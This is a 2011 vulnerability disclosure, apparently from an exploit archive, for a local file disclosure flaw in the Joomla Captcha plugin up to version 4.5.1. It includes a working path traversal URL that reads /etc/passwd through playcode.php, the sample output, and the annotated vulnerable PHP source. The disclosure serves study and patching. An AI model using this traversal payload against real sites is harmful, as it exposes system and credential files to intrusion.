Joomla! Plugin Captcha 4.5.1 - Local File Disclosure

  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM
 
   [ Discovered by dun \ posdub[at]gmail.com ]

 #############################################################################
 #  [ Joomla Captcha Plugin <= 4.5.1 ]  Local File Disclosure Vulnerability  #
 #############################################################################
 #
 # Script: "Joomla Captcha plugin and patch for Joomla!"
 #
 # Script site: http://www.kupala.net/
 # Download: http://code.google.com/p/joomla15captcha/
 #
 # 
 # [LFI] (magic_quotes_gpc = Off)
 # Vuln: http://site.com/plugins/system/captcha/playcode.php?lng=../../../../../../../etc/passwd%00
 #       dun@radius ~ $ cat joomlacaptcha.mp3
 #       root:x:0:0:root:/root:/bin/bash
 #       ......
 # 
 # File: ./plugins/system/captcha/playcode.php
 # 
 #     79	if (!$captchacode) $captchacode = '0000000000';									
 #     80	
 #     81	session_write_close();
 #     82	
 #     83	@$lng = $_GET['lng'];                                                 // [1]
 #     84	if ( !$lng ) $lng = 'en-gb';
 #     85	
 #     86	$captchafilename = "joomlacaptcha.mp3";
 #     87	$captchalength = strlen( $captchacode );
 #     88	
 #     89	$outlength = 0;
 #     90	$reallength = 0;
 #     91	$currsize = 0;
 #     92	$outstream = '';
 #     93	
 #     94	if ($captchalength > 0) {
 #     95		for ($i = 0; $i < $captchalength; $i++) {
 #     96			$soundfiles[$i] = 'files/' . $lng . '.' . strtolower( substr( $captchacode, $i, 1 ) ) . '.mp3';   // [2]
 #     97		}
 #     98		foreach ($soundfiles as $onefile){                                     // 
 #     99			if (file_exists( $onefile )) {                                 // 
 #    100				$instream = fopen( $onefile, 'rb' );                   // 
 #    101				$currsize = filesize( $onefile );                      // [3]
 #    102				$outstream .= fread( $instream, $currsize );           // 
 #    103				$outlength += $currsize;                               // 
 #    104				fclose( $instream );                                   // 
 #    105				$reallength += 1;                                      // 
 #    106			}
 #    107		}
 #    108	}
 #    109	
 #    110	if (($outstream == '') || ($captchalength != $reallength)) {
 #    111			$outstream = 0; $outlength = 1;
 #    112	}
 #    113	
 #    114	ob_start();
 #    115	header( 'Content-Type: audio/x-mpeg');                                         //
 #    116	header( "Content-Disposition: attachment; filename=$captchafilename;");        //
 #    117	header( 'Content-Transfer-Encoding: binary');                                  //
 #    118	header( 'Content-Length: '.$outlength);                                        //
 #    119	echo $outstream ;                                                              // [4] LFD
 #    120	ob_end_flush();
 # 
 # 
 # [ dun / 2011-01-09 ]